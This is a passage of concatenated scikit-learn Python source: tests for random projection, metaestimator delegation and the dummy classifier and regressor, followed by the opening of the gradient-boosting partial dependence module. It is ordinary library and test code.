                      RandomProjection(density=-0.1).fit, data)


def test_random_projection_transformer_invalid_input():
    for RandomProjection in all_RandomProjection:
        assert_raises(ValueError,
                      RandomProjection(n_components='auto').fit, [[0, 1, 2]])

        assert_raises(ValueError,
                      RandomProjection(n_components=-10).fit, data)


def test_try_to_transform_before_fit():
    for RandomProjection in all_RandomProjection:
        assert_raises(ValueError,
                      RandomProjection(n_components='auto').transform, data)


def test_too_many_samples_to_find_a_safe_embedding():
    data, _ = make_sparse_random_data(1000, 100, 1000)

    for RandomProjection in all_RandomProjection:
        rp = RandomProjection(n_components='auto', eps=0.1)
        expected_msg = (
            'eps=0.100000 and n_samples=1000 lead to a target dimension'
            ' of 5920 which is larger than the original space with'
            ' n_features=100')
        assert_raise_message(ValueError, expected_msg, rp.fit, data)


def test_random_projection_embedding_quality():
    data, _ = make_sparse_random_data(8, 5000, 15000)
    eps = 0.2

    original_distances = euclidean_distances(data, squared=True)
    original_distances = original_distances.ravel()
    non_identical = original_distances != 0.0

    # remove 0 distances to avoid division by 0
    original_distances = original_distances[non_identical]

    for RandomProjection in all_RandomProjection:
        rp = RandomProjection(n_components='auto', eps=eps, random_state=0)
        projected = rp.fit_transform(data)

        projected_distances = euclidean_distances(projected, squared=True)
        projected_distances = projected_distances.ravel()

        # remove 0 distances to avoid division by 0
        projected_distances = projected_distances[non_identical]

        distances_ratio = projected_distances / original_distances

        # check that the automatically tuned values for the density respect the
        # contract for eps: pairwise distances are preserved according to the
        # Johnson-Lindenstrauss lemma
        assert_less(distances_ratio.max(), 1 + eps)
        assert_less(1 - eps, distances_ratio.min())


def test_SparseRandomProjection_output_representation():
    for SparseRandomProjection in all_SparseRandomProjection:
        # when using sparse input, the projected data can be forced to be a
        # dense numpy array
        rp = SparseRandomProjection(n_components=10, dense_output=True,
                                    random_state=0)
        rp.fit(data)
        assert isinstance(rp.transform(data), np.ndarray)

        sparse_data = sp.csr_matrix(data)
        assert isinstance(rp.transform(sparse_data), np.ndarray)

        # the output can be left to a sparse matrix instead
        rp = SparseRandomProjection(n_components=10, dense_output=False,
                                    random_state=0)
        rp = rp.fit(data)
        # output for dense input will stay dense:
        assert isinstance(rp.transform(data), np.ndarray)

        # output for sparse output will be sparse:
        assert sp.issparse(rp.transform(sparse_data))


def test_correct_RandomProjection_dimensions_embedding():
    for RandomProjection in all_RandomProjection:
        rp = RandomProjection(n_components='auto',
                              random_state=0,
                              eps=0.5).fit(data)

        # the number of components is adjusted from the shape of the training
        # set
        assert_equal(rp.n_components, 'auto')
        assert_equal(rp.n_components_, 110)

        if RandomProjection in all_SparseRandomProjection:
            assert_equal(rp.density, 'auto')
            assert_almost_equal(rp.density_, 0.03, 2)

        assert_equal(rp.components_.shape, (110, n_features))

        projected_1 = rp.transform(data)
        assert_equal(projected_1.shape, (n_samples, 110))

        # once the RP is 'fitted' the projection is always the same
        projected_2 = rp.transform(data)
        assert_array_equal(projected_1, projected_2)

        # fit transform with same random seed will lead to the same results
        rp2 = RandomProjection(random_state=0, eps=0.5)
        projected_3 = rp2.fit_transform(data)
        assert_array_equal(projected_1, projected_3)

        # Try to transform with an input X of size different from fitted.
        assert_raises(ValueError, rp.transform, data[:, 1:5])

        # it is also possible to fix the number of components and the density
        # level
        if RandomProjection in all_SparseRandomProjection:
            rp = RandomProjection(n_components=100, density=0.001,
                                  random_state=0)
            projected = rp.fit_transform(data)
            assert_equal(projected.shape, (n_samples, 100))
            assert_equal(rp.components_.shape, (100, n_features))
            assert_less(rp.components_.nnz, 115)  # close to 1% density
            assert_less(85, rp.components_.nnz)  # close to 1% density


def test_warning_n_components_greater_than_n_features():
    n_features = 20
    data, _ = make_sparse_random_data(5, n_features, int(n_features / 4))

    for RandomProjection in all_RandomProjection:
        assert_warns(DataDimensionalityWarning,
                     RandomProjection(n_components=n_features + 1).fit, data)


def test_works_with_sparse_data():
    n_features = 20
    data, _ = make_sparse_random_data(5, n_features, int(n_features / 4))

    for RandomProjection in all_RandomProjection:
        rp_dense = RandomProjection(n_components=3,
                                    random_state=1).fit(data)
        rp_sparse = RandomProjection(n_components=3,
                                     random_state=1).fit(sp.csr_matrix(data))
        assert_array_almost_equal(densify(rp_dense.components_),
                                  densify(rp_sparse.components_))






"""Common tests for metaestimators"""

import functools

import numpy as np

from sklearn.base import BaseEstimator
from sklearn.externals.six import iterkeys
from sklearn.datasets import make_classification
from sklearn.utils.testing import assert_true, assert_false, assert_raises
from sklearn.pipeline import Pipeline
from sklearn.model_selection import GridSearchCV, RandomizedSearchCV
from sklearn.feature_selection import RFE, RFECV
from sklearn.ensemble import BaggingClassifier


class DelegatorData(object):
    def __init__(self, name, construct, skip_methods=(),
                 fit_args=make_classification()):
        self.name = name
        self.construct = construct
        self.fit_args = fit_args
        self.skip_methods = skip_methods


DELEGATING_METAESTIMATORS = [
    DelegatorData('Pipeline', lambda est: Pipeline([('est', est)])),
    DelegatorData('GridSearchCV',
                  lambda est: GridSearchCV(
                      est, param_grid={'param': [5]}, cv=2),
                  skip_methods=['score']),
    DelegatorData('RandomizedSearchCV',
                  lambda est: RandomizedSearchCV(
                      est, param_distributions={'param': [5]}, cv=2, n_iter=1),
                  skip_methods=['score']),
    DelegatorData('RFE', RFE,
                  skip_methods=['transform', 'inverse_transform', 'score']),
    DelegatorData('RFECV', RFECV,
                  skip_methods=['transform', 'inverse_transform', 'score']),
    DelegatorData('BaggingClassifier', BaggingClassifier,
                  skip_methods=['transform', 'inverse_transform', 'score',
                                'predict_proba', 'predict_log_proba', 'predict'])
]


def test_metaestimator_delegation():
    # Ensures specified metaestimators have methods iff subestimator does
    def hides(method):
        @property
        def wrapper(obj):
            if obj.hidden_method == method.__name__:
                raise AttributeError('%r is hidden' % obj.hidden_method)
            return functools.partial(method, obj)
        return wrapper

    class SubEstimator(BaseEstimator):
        def __init__(self, param=1, hidden_method=None):
            self.param = param
            self.hidden_method = hidden_method

        def fit(self, X, y=None, *args, **kwargs):
            self.coef_ = np.arange(X.shape[1])
            return True

        def _check_fit(self):
            if not hasattr(self, 'coef_'):
                raise RuntimeError('Estimator is not fit')

        @hides
        def inverse_transform(self, X, *args, **kwargs):
            self._check_fit()
            return X

        @hides
        def transform(self, X, *args, **kwargs):
            self._check_fit()
            return X

        @hides
        def predict(self, X, *args, **kwargs):
            self._check_fit()
            return np.ones(X.shape[0])

        @hides
        def predict_proba(self, X, *args, **kwargs):
            self._check_fit()
            return np.ones(X.shape[0])

        @hides
        def predict_log_proba(self, X, *args, **kwargs):
            self._check_fit()
            return np.ones(X.shape[0])

        @hides
        def decision_function(self, X, *args, **kwargs):
            self._check_fit()
            return np.ones(X.shape[0])

        @hides
        def score(self, X, *args, **kwargs):
            self._check_fit()
            return 1.0

    methods = [k for k in iterkeys(SubEstimator.__dict__)
               if not k.startswith('_') and not k.startswith('fit')]
    methods.sort()

    for delegator_data in DELEGATING_METAESTIMATORS:
        delegate = SubEstimator()
        delegator = delegator_data.construct(delegate)
        for method in methods:
            if method in delegator_data.skip_methods:
                continue
            assert_true(hasattr(delegate, method))
            assert_true(hasattr(delegator, method),
                        msg="%s does not have method %r when its delegate does"
                            % (delegator_data.name, method))
            # delegation before fit raises an exception
            assert_raises(Exception, getattr(delegator, method),
                          delegator_data.fit_args[0])

        delegator.fit(*delegator_data.fit_args)
        for method in methods:
            if method in delegator_data.skip_methods:
                continue
            # smoke test delegation
            getattr(delegator, method)(delegator_data.fit_args[0])

        for method in methods:
            if method in delegator_data.skip_methods:
                continue
            delegate = SubEstimator(hidden_method=method)
            delegator = delegator_data.construct(delegate)
            assert_false(hasattr(delegate, method))
            assert_false(hasattr(delegator, method),
                         msg="%s has method %r when its delegate does not"
                             % (delegator_data.name, method))






from __future__ import division

import numpy as np
import scipy.sparse as sp

from sklearn.base import clone
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_warns_message
from sklearn.utils.testing import ignore_warnings
from sklearn.utils.stats import _weighted_percentile

from sklearn.dummy import DummyClassifier, DummyRegressor


@ignore_warnings
def _check_predict_proba(clf, X, y):
    proba = clf.predict_proba(X)
    # We know that we can have division by zero
    log_proba = clf.predict_log_proba(X)

    y = np.atleast_1d(y)
    if y.ndim == 1:
        y = np.reshape(y, (-1, 1))

    n_outputs = y.shape[1]
    n_samples = len(X)

    if n_outputs == 1:
        proba = [proba]
        log_proba = [log_proba]

    for k in range(n_outputs):
        assert_equal(proba[k].shape[0], n_samples)
        assert_equal(proba[k].shape[1], len(np.unique(y[:, k])))
        assert_array_equal(proba[k].sum(axis=1), np.ones(len(X)))
        # We know that we can have division by zero
        assert_array_equal(np.log(proba[k]), log_proba[k])


def _check_behavior_2d(clf):
    # 1d case
    X = np.array([[0], [0], [0], [0]])  # ignored
    y = np.array([1, 2, 1, 1])
    est = clone(clf)
    est.fit(X, y)
    y_pred = est.predict(X)
    assert_equal(y.shape, y_pred.shape)

    # 2d case
    y = np.array([[1, 0],
                  [2, 0],
                  [1, 0],
                  [1, 3]])
    est = clone(clf)
    est.fit(X, y)
    y_pred = est.predict(X)
    assert_equal(y.shape, y_pred.shape)


def _check_behavior_2d_for_constant(clf):
    # 2d case only
    X = np.array([[0], [0], [0], [0]])  # ignored
    y = np.array([[1, 0, 5, 4, 3],
                  [2, 0, 1, 2, 5],
                  [1, 0, 4, 5, 2],
                  [1, 3, 3, 2, 0]])
    est = clone(clf)
    est.fit(X, y)
    y_pred = est.predict(X)
    assert_equal(y.shape, y_pred.shape)


def _check_equality_regressor(statistic, y_learn, y_pred_learn,
                              y_test, y_pred_test):
    assert_array_equal(np.tile(statistic, (y_learn.shape[0], 1)),
                       y_pred_learn)
    assert_array_equal(np.tile(statistic, (y_test.shape[0], 1)),
                       y_pred_test)


def test_most_frequent_and_prior_strategy():
    X = [[0], [0], [0], [0]]  # ignored
    y = [1, 2, 1, 1]

    for strategy in ("most_frequent", "prior"):
        clf = DummyClassifier(strategy=strategy, random_state=0)
        clf.fit(X, y)
        assert_array_equal(clf.predict(X), np.ones(len(X)))
        _check_predict_proba(clf, X, y)

        if strategy == "prior":
            assert_array_equal(clf.predict_proba([X[0]]),
                               clf.class_prior_.reshape((1, -1)))
        else:
            assert_array_equal(clf.predict_proba([X[0]]),
                               clf.class_prior_.reshape((1, -1)) > 0.5)


def test_most_frequent_and_prior_strategy_multioutput():
    X = [[0], [0], [0], [0]]  # ignored
    y = np.array([[1, 0],
                  [2, 0],
                  [1, 0],
                  [1, 3]])

    n_samples = len(X)

    for strategy in ("prior", "most_frequent"):
        clf = DummyClassifier(strategy=strategy, random_state=0)
        clf.fit(X, y)
        assert_array_equal(clf.predict(X),
                           np.hstack([np.ones((n_samples, 1)),
                                      np.zeros((n_samples, 1))]))
        _check_predict_proba(clf, X, y)
        _check_behavior_2d(clf)


def test_stratified_strategy():
    X = [[0]] * 5  # ignored
    y = [1, 2, 1, 1, 2]
    clf = DummyClassifier(strategy="stratified", random_state=0)
    clf.fit(X, y)

    X = [[0]] * 500
    y_pred = clf.predict(X)
    p = np.bincount(y_pred) / float(len(X))
    assert_almost_equal(p[1], 3. / 5, decimal=1)
    assert_almost_equal(p[2], 2. / 5, decimal=1)
    _check_predict_proba(clf, X, y)


def test_stratified_strategy_multioutput():
    X = [[0]] * 5  # ignored
    y = np.array([[2, 1],
                  [2, 2],
                  [1, 1],
                  [1, 2],
                  [1, 1]])

    clf = DummyClassifier(strategy="stratified", random_state=0)
    clf.fit(X, y)

    X = [[0]] * 500
    y_pred = clf.predict(X)

    for k in range(y.shape[1]):
        p = np.bincount(y_pred[:, k]) / float(len(X))
        assert_almost_equal(p[1], 3. / 5, decimal=1)
        assert_almost_equal(p[2], 2. / 5, decimal=1)
        _check_predict_proba(clf, X, y)

    _check_behavior_2d(clf)


def test_uniform_strategy():
    X = [[0]] * 4  # ignored
    y = [1, 2, 1, 1]
    clf = DummyClassifier(strategy="uniform", random_state=0)
    clf.fit(X, y)

    X = [[0]] * 500
    y_pred = clf.predict(X)
    p = np.bincount(y_pred) / float(len(X))
    assert_almost_equal(p[1], 0.5, decimal=1)
    assert_almost_equal(p[2], 0.5, decimal=1)
    _check_predict_proba(clf, X, y)


def test_uniform_strategy_multioutput():
    X = [[0]] * 4  # ignored
    y = np.array([[2, 1],
                  [2, 2],
                  [1, 2],
                  [1, 1]])
    clf = DummyClassifier(strategy="uniform", random_state=0)
    clf.fit(X, y)

    X = [[0]] * 500
    y_pred = clf.predict(X)

    for k in range(y.shape[1]):
        p = np.bincount(y_pred[:, k]) / float(len(X))
        assert_almost_equal(p[1], 0.5, decimal=1)
        assert_almost_equal(p[2], 0.5, decimal=1)
        _check_predict_proba(clf, X, y)

    _check_behavior_2d(clf)


def test_string_labels():
    X = [[0]] * 5
    y = ["paris", "paris", "tokyo", "amsterdam", "berlin"]
    clf = DummyClassifier(strategy="most_frequent")
    clf.fit(X, y)
    assert_array_equal(clf.predict(X), ["paris"] * 5)


def test_classifier_exceptions():
    clf = DummyClassifier(strategy="unknown")
    assert_raises(ValueError, clf.fit, [], [])

    assert_raises(ValueError, clf.predict, [])
    assert_raises(ValueError, clf.predict_proba, [])


def test_mean_strategy_regressor():

    random_state = np.random.RandomState(seed=1)

    X = [[0]] * 4  # ignored
    y = random_state.randn(4)

    reg = DummyRegressor()
    reg.fit(X, y)
    assert_array_equal(reg.predict(X), [np.mean(y)] * len(X))


def test_mean_strategy_multioutput_regressor():

    random_state = np.random.RandomState(seed=1)

    X_learn = random_state.randn(10, 10)
    y_learn = random_state.randn(10, 5)

    mean = np.mean(y_learn, axis=0).reshape((1, -1))

    X_test = random_state.randn(20, 10)
    y_test = random_state.randn(20, 5)

    # Correctness oracle
    est = DummyRegressor()
    est.fit(X_learn, y_learn)
    y_pred_learn = est.predict(X_learn)
    y_pred_test = est.predict(X_test)

    _check_equality_regressor(mean, y_learn, y_pred_learn, y_test, y_pred_test)
    _check_behavior_2d(est)


def test_regressor_exceptions():
    reg = DummyRegressor()
    assert_raises(ValueError, reg.predict, [])


def test_median_strategy_regressor():

    random_state = np.random.RandomState(seed=1)

    X = [[0]] * 5  # ignored
    y = random_state.randn(5)

    reg = DummyRegressor(strategy="median")
    reg.fit(X, y)
    assert_array_equal(reg.predict(X), [np.median(y)] * len(X))


def test_median_strategy_multioutput_regressor():

    random_state = np.random.RandomState(seed=1)

    X_learn = random_state.randn(10, 10)
    y_learn = random_state.randn(10, 5)

    median = np.median(y_learn, axis=0).reshape((1, -1))

    X_test = random_state.randn(20, 10)
    y_test = random_state.randn(20, 5)

    # Correctness oracle
    est = DummyRegressor(strategy="median")
    est.fit(X_learn, y_learn)
    y_pred_learn = est.predict(X_learn)
    y_pred_test = est.predict(X_test)

    _check_equality_regressor(
        median, y_learn, y_pred_learn, y_test, y_pred_test)
    _check_behavior_2d(est)


def test_quantile_strategy_regressor():

    random_state = np.random.RandomState(seed=1)

    X = [[0]] * 5  # ignored
    y = random_state.randn(5)

    reg = DummyRegressor(strategy="quantile", quantile=0.5)
    reg.fit(X, y)
    assert_array_equal(reg.predict(X), [np.median(y)] * len(X))

    reg = DummyRegressor(strategy="quantile", quantile=0)
    reg.fit(X, y)
    assert_array_equal(reg.predict(X), [np.min(y)] * len(X))

    reg = DummyRegressor(strategy="quantile", quantile=1)
    reg.fit(X, y)
    assert_array_equal(reg.predict(X), [np.max(y)] * len(X))

    reg = DummyRegressor(strategy="quantile", quantile=0.3)
    reg.fit(X, y)
    assert_array_equal(reg.predict(X), [np.percentile(y, q=30)] * len(X))


def test_quantile_strategy_multioutput_regressor():

    random_state = np.random.RandomState(seed=1)

    X_learn = random_state.randn(10, 10)
    y_learn = random_state.randn(10, 5)

    median = np.median(y_learn, axis=0).reshape((1, -1))
    quantile_values = np.percentile(y_learn, axis=0, q=80).reshape((1, -1))

    X_test = random_state.randn(20, 10)
    y_test = random_state.randn(20, 5)

    # Correctness oracle
    est = DummyRegressor(strategy="quantile", quantile=0.5)
    est.fit(X_learn, y_learn)
    y_pred_learn = est.predict(X_learn)
    y_pred_test = est.predict(X_test)

    _check_equality_regressor(
        median, y_learn, y_pred_learn, y_test, y_pred_test)
    _check_behavior_2d(est)

    # Correctness oracle
    est = DummyRegressor(strategy="quantile", quantile=0.8)
    est.fit(X_learn, y_learn)
    y_pred_learn = est.predict(X_learn)
    y_pred_test = est.predict(X_test)

    _check_equality_regressor(
        quantile_values, y_learn, y_pred_learn, y_test, y_pred_test)
    _check_behavior_2d(est)


def test_quantile_invalid():

    X = [[0]] * 5  # ignored
    y = [0] * 5  # ignored

    est = DummyRegressor(strategy="quantile")
    assert_raises(ValueError, est.fit, X, y)

    est = DummyRegressor(strategy="quantile", quantile=None)
    assert_raises(ValueError, est.fit, X, y)

    est = DummyRegressor(strategy="quantile", quantile=[0])
    assert_raises(ValueError, est.fit, X, y)

    est = DummyRegressor(strategy="quantile", quantile=-0.1)
    assert_raises(ValueError, est.fit, X, y)

    est = DummyRegressor(strategy="quantile", quantile=1.1)
    assert_raises(ValueError, est.fit, X, y)

    est = DummyRegressor(strategy="quantile", quantile='abc')
    assert_raises(TypeError, est.fit, X, y)


def test_quantile_strategy_empty_train():
    est = DummyRegressor(strategy="quantile", quantile=0.4)
    assert_raises(ValueError, est.fit, [], [])


def test_constant_strategy_regressor():

    random_state = np.random.RandomState(seed=1)

    X = [[0]] * 5  # ignored
    y = random_state.randn(5)

    reg = DummyRegressor(strategy="constant", constant=[43])
    reg.fit(X, y)
    assert_array_equal(reg.predict(X), [43] * len(X))

    reg = DummyRegressor(strategy="constant", constant=43)
    reg.fit(X, y)
    assert_array_equal(reg.predict(X), [43] * len(X))


def test_constant_strategy_multioutput_regressor():

    random_state = np.random.RandomState(seed=1)

    X_learn = random_state.randn(10, 10)
    y_learn = random_state.randn(10, 5)

    # test with 2d array
    constants = random_state.randn(5)

    X_test = random_state.randn(20, 10)
    y_test = random_state.randn(20, 5)

    # Correctness oracle
    est = DummyRegressor(strategy="constant", constant=constants)
    est.fit(X_learn, y_learn)
    y_pred_learn = est.predict(X_learn)
    y_pred_test = est.predict(X_test)

    _check_equality_regressor(
        constants, y_learn, y_pred_learn, y_test, y_pred_test)
    _check_behavior_2d_for_constant(est)


def test_y_mean_attribute_regressor():
    X = [[0]] * 5
    y = [1, 2, 4, 6, 8]
    # when strategy = 'mean'
    est = DummyRegressor(strategy='mean')
    est.fit(X, y)

    assert_equal(est.constant_, np.mean(y))


def test_unknown_strategey_regressor():
    X = [[0]] * 5
    y = [1, 2, 4, 6, 8]

    est = DummyRegressor(strategy='gona')
    assert_raises(ValueError, est.fit, X, y)


def test_constants_not_specified_regressor():
    X = [[0]] * 5
    y = [1, 2, 4, 6, 8]

    est = DummyRegressor(strategy='constant')
    assert_raises(TypeError, est.fit, X, y)


def test_constant_size_multioutput_regressor():
    random_state = np.random.RandomState(seed=1)
    X = random_state.randn(10, 10)
    y = random_state.randn(10, 5)

    est = DummyRegressor(strategy='constant', constant=[1, 2, 3, 4])
    assert_raises(ValueError, est.fit, X, y)


def test_constant_strategy():
    X = [[0], [0], [0], [0]]  # ignored
    y = [2, 1, 2, 2]

    clf = DummyClassifier(strategy="constant", random_state=0, constant=1)
    clf.fit(X, y)
    assert_array_equal(clf.predict(X), np.ones(len(X)))
    _check_predict_proba(clf, X, y)

    X = [[0], [0], [0], [0]]  # ignored
    y = ['two', 'one', 'two', 'two']
    clf = DummyClassifier(strategy="constant", random_state=0, constant='one')
    clf.fit(X, y)
    assert_array_equal(clf.predict(X), np.array(['one'] * 4))
    _check_predict_proba(clf, X, y)


def test_constant_strategy_multioutput():
    X = [[0], [0], [0], [0]]  # ignored
    y = np.array([[2, 3],
                  [1, 3],
                  [2, 3],
                  [2, 0]])

    n_samples = len(X)

    clf = DummyClassifier(strategy="constant", random_state=0,
                          constant=[1, 0])
    clf.fit(X, y)
    assert_array_equal(clf.predict(X),
                       np.hstack([np.ones((n_samples, 1)),
                                  np.zeros((n_samples, 1))]))
    _check_predict_proba(clf, X, y)


def test_constant_strategy_exceptions():
    X = [[0], [0], [0], [0]]  # ignored
    y = [2, 1, 2, 2]
    clf = DummyClassifier(strategy="constant", random_state=0)
    assert_raises(ValueError, clf.fit, X, y)
    clf = DummyClassifier(strategy="constant", random_state=0,
                          constant=[2, 0])
    assert_raises(ValueError, clf.fit, X, y)


def test_classification_sample_weight():
    X = [[0], [0], [1]]
    y = [0, 1, 0]
    sample_weight = [0.1, 1., 0.1]

    clf = DummyClassifier().fit(X, y, sample_weight)
    assert_array_almost_equal(clf.class_prior_, [0.2 / 1.2, 1. / 1.2])


def test_constant_strategy_sparse_target():
    X = [[0]] * 5  # ignored
    y = sp.csc_matrix(np.array([[0, 1],
                                [4, 0],
                                [1, 1],
                                [1, 4],
                                [1, 1]]))

    n_samples = len(X)

    clf = DummyClassifier(strategy="constant", random_state=0, constant=[1, 0])
    clf.fit(X, y)
    y_pred = clf.predict(X)
    assert_true(sp.issparse(y_pred))
    assert_array_equal(y_pred.toarray(), np.hstack([np.ones((n_samples, 1)),
                                                    np.zeros((n_samples, 1))]))


def test_uniform_strategy_sparse_target_warning():
    X = [[0]] * 5  # ignored
    y = sp.csc_matrix(np.array([[2, 1],
                                [2, 2],
                                [1, 4],
                                [4, 2],
                                [1, 1]]))

    clf = DummyClassifier(strategy="uniform", random_state=0)
    assert_warns_message(UserWarning,
                         "the uniform strategy would not save memory",
                         clf.fit, X, y)

    X = [[0]] * 500
    y_pred = clf.predict(X)

    for k in range(y.shape[1]):
        p = np.bincount(y_pred[:, k]) / float(len(X))
        assert_almost_equal(p[1], 1 / 3, decimal=1)
        assert_almost_equal(p[2], 1 / 3, decimal=1)
        assert_almost_equal(p[4], 1 / 3, decimal=1)


def test_stratified_strategy_sparse_target():
    X = [[0]] * 5  # ignored
    y = sp.csc_matrix(np.array([[4, 1],
                                [0, 0],
                                [1, 1],
                                [1, 4],
                                [1, 1]]))

    clf = DummyClassifier(strategy="stratified", random_state=0)
    clf.fit(X, y)

    X = [[0]] * 500
    y_pred = clf.predict(X)
    assert_true(sp.issparse(y_pred))
    y_pred = y_pred.toarray()

    for k in range(y.shape[1]):
        p = np.bincount(y_pred[:, k]) / float(len(X))
        assert_almost_equal(p[1], 3. / 5, decimal=1)
        assert_almost_equal(p[0], 1. / 5, decimal=1)
        assert_almost_equal(p[4], 1. / 5, decimal=1)


def test_most_frequent_and_prior_strategy_sparse_target():
    X = [[0]] * 5  # ignored
    y = sp.csc_matrix(np.array([[1, 0],
                                [1, 3],
                                [4, 0],
                                [0, 1],
                                [1, 0]]))

    n_samples = len(X)
    y_expected = np.hstack([np.ones((n_samples, 1)), np.zeros((n_samples, 1))])
    for strategy in ("most_frequent", "prior"):
        clf = DummyClassifier(strategy=strategy, random_state=0)
        clf.fit(X, y)

        y_pred = clf.predict(X)
        assert_true(sp.issparse(y_pred))
        assert_array_equal(y_pred.toarray(), y_expected)


def test_dummy_regressor_sample_weight(n_samples=10):
    random_state = np.random.RandomState(seed=1)

    X = [[0]] * n_samples
    y = random_state.rand(n_samples)
    sample_weight = random_state.rand(n_samples)

    est = DummyRegressor(strategy="mean").fit(X, y, sample_weight)
    assert_equal(est.constant_, np.average(y, weights=sample_weight))

    est = DummyRegressor(strategy="median").fit(X, y, sample_weight)
    assert_equal(est.constant_, _weighted_percentile(y, sample_weight, 50.))

    est = DummyRegressor(strategy="quantile", quantile=.95).fit(X, y,
                                                                sample_weight)
    assert_equal(est.constant_, _weighted_percentile(y, sample_weight, 95.))






"""Partial dependence plots for tree ensembles. """

# Authors: Peter Prettenhofer
# License: BSD 3 clause

from itertools import count
import numbers

import numpy as np
from scipy.stats.mstats import mquantiles

from ..utils.extmath import cartesian
from ..externals.joblib import Parallel, delayed
from ..externals import six
from ..externals.six.moves import map, range, zip
from ..utils import check_array
from ..tree._tree import DTYPE

from ._gradient_boosting import _partial_dependence_tree
from .gradient_boosting import BaseGradientBoosting


def _grid_from_X(X, percentiles=(0.05, 0.95), grid_resolution=100):
    """Generate a grid of points based on the ``percentiles of ``X``.

    The grid is generated by placing ``grid_resolution`` equally
    spaced points between the ``percentiles`` of each column
    of ``X``.

    Parameters
    ----------
    X : ndarray
        The data
    percentiles : tuple of floats
        The percentiles which are used to construct the extreme
        values of the grid axes.
    grid_resolution : int
        The number of equally spaced points that are placed
        on the grid.

    Returns
    -------
    grid : ndarray
        All data points on the grid; ``grid.shape[1] == X.shape[1]``
        and ``grid.shape[0] == grid_resolution * X.shape[1]``.
    axes : seq of ndarray
        The axes with which the grid has been created.
    """
    if len(percentiles) != 2:
        raise ValueError('percentile must be tuple of len 2')
    if not all(0. <= x <= 1. for x in percentiles):
        raise ValueError('percentile values must be in [0, 1]')

    axes = []
    for col in range(X.shape[1]):
        uniques = np.unique(X[:, col])
        if uniques.shape[0] < grid_resolution:
            # feature has low resolution use unique vals
            axis = uniques
        else:
            emp_percentiles = mquantiles(X, prob=percentiles, axis=0)
            # create axis based on percentiles and grid resolution
            axis = np.linspace(emp_percentiles[0, col],
                               emp_percentiles[1, col],
                               num=grid_resolution, endpoint=True)
        axes.append(axis)

    return cartesian(axes), axes


def partial_dependence(gbrt, target_variables, grid=None, X=None,
                       percentiles=(0.05, 0.95), grid_resolution=100):
    """Partial dependence of ``target_variables``.

    Partial dependence plots show the dependence between the joint values
    of the ``target_variables`` and the function represented
    by the ``gbrt``.

    Read more in the :ref:`User Guide <partial_dependence>`.

    Parameters
    ----------
    gbrt : BaseGradientBoosting
        A fitted gradient boosting model.
    target_variables : array-like, dtype=int
        The target features for which the partial dependecy should be
        computed (size should be smaller than 3 for visual renderings).
    grid : array-like, shape=(n_points, len(target_variables))
        The grid of ``target_variables`` values for which the
        partial dependecy should be evaluated (either ``grid`` or ``X``
        must be specified).
    X : array-like, shape=(n_samples, n_features)
        The data on which ``gbrt`` was trained. It is used to generate
        a ``grid`` for the ``target_variables``. The ``grid`` comprises
        ``grid_resolution`` equally spaced points between the two
        ``percentiles``.
    percentiles : (low, high), default=(0.05, 0.95)
        The lower and upper percentile used create the extreme values
        for the ``grid``. Only if ``X`` is not None.
    grid_resolution : int, default=100
        The number of equally spaced points on the ``grid``.

    Returns
    -------
    pdp : array, shape=(n_classes, n_points)
        The partial dependence function evaluated on the ``grid``.
        For regression and binary classification ``n_classes==1``.
    axes : seq of ndarray or None
        The axes with which the grid has been created or None if
        the grid has been given.

    Examples
    --------
    >>> samples = [[0, 0, 2], [1, 0, 0]]
    >>> labels = [0, 1]
    >>> from sklearn.ensemble import GradientBoostingClassifier
    >>> gb = GradientBoostingClassifier(random_state=0).fit(samples, labels)
    >>> kwargs = dict(X=samples, percentiles=(0, 1), grid_resolution=2)
    >>> partial_dependence(gb, [0], **kwargs) # doctest: +SKIP
    (array([[-4.52...,  4.52...]]), [array([ 0.,  1.])])
    """
    if not isinstance(gbrt, BaseGradientBoosting):
        raise ValueError('gbrt has to be an instance of BaseGradientBoosting')
    if gbrt.estimators_.shape[0] == 0:
        raise ValueError('Call %s.fit before partial_dependence' %
                         gbrt.__class__.__name__)
    if (grid is None and X is None) or (grid is not None and X is not None):
        raise ValueError('Either grid or X must be specified')

    target_variables = np.asarray(target_variables, dtype=np.int32,
                                  order='C').ravel()

    if any([not (0 <= fx < gbrt.n_features) for fx in target_variables]):
        raise ValueError('target_variables must be in [0, %d]'
                         % (gbrt.n_features - 1))

    if X is not None:
        X = check_array(X, dtype=DTYPE, order='C')
        grid, axes = _grid_from_X(X[:, target_variables], percentiles,
                                  grid_resolution)
    else:
        assert grid is not None
        # dont return axes if grid is given
        axes = None
        # grid must be 2d
        if grid.ndim == 1:
            grid = grid[:, np.newaxis]
        if grid.ndim != 2:
            raise ValueError('grid must be 2d but is %dd' % grid.ndim)

    grid = np.asarray(grid, dtype=DTYPE, order='C')
    assert grid.shape[1] == target_variables.shape[0]

    n_trees_per_stage = gbrt.estimators_.shape[1]
    n_estimators = gbrt.estimators_.shape[0]
    pdp = np.zeros((n_trees_per_stage, grid.shape[0],), dtype=np.float64,
                   order='C')
    for stage in range(n_estimators):
        for k in range(n_trees_per_stage):
            tree = gbrt.estimators_[stage, k].tree_
            _partial_dependence_tree(tree, grid, target_variables,
                                     gbrt.learning_rate, pdp[k])

    return pdp, axes


def plot_partial_dependence(gbrt, X, features, feature_names=None,
                            label=None, n_cols=3, grid_resolution=100,
                            percentiles=(0.05, 0.95), n_jobs=1,
                            verbose=0, ax=None, line_kw=None,
                            contour_kw=None, **fig_kw):
    """Partial dependence plots for ``features``.

    The ``len(features)`` plots are arranged in a grid with ``n_cols``
    columns. Two-way partial dependence plots are plotted as contour
    plots.

    Read more in the :ref:`User Guide <partial_dependence>`.

    Parameters
    ----------
    gbrt : BaseGradientBoosting
        A fitted gradient boosting model.
    X : array-like, shape=(n_samples, n_features)
        The data on which ``gbrt`` was trained.
    features : seq of tuples or ints
        If seq[i] is an int or a tuple with one int value, a one-way
        PDP is created; if seq[i] is a tuple of two ints, a two-way
        PDP is created.
    feature_names : seq of str
        Name of each feature; feature_names[i] holds
        the name of the feature with index i.
    label : object
        The class label for which the PDPs should be computed.
        Only if gbrt is a multi-class model. Must be in ``gbrt.classes_``.
    n_cols : int
        The number of columns in the grid plot (default: 3).
    percentiles : (low, high), default=(0.05, 0.95)
        The lower and upper percentile used to create the extreme values
        for the PDP axes.
    grid_resolution : int, default=100
        The number of equally spaced points on the axes.
    n_jobs : int
        The number of CPUs to use to compute the PDs. -1 means 'all CPUs'.
        Defaults to 1.
    verbose : int
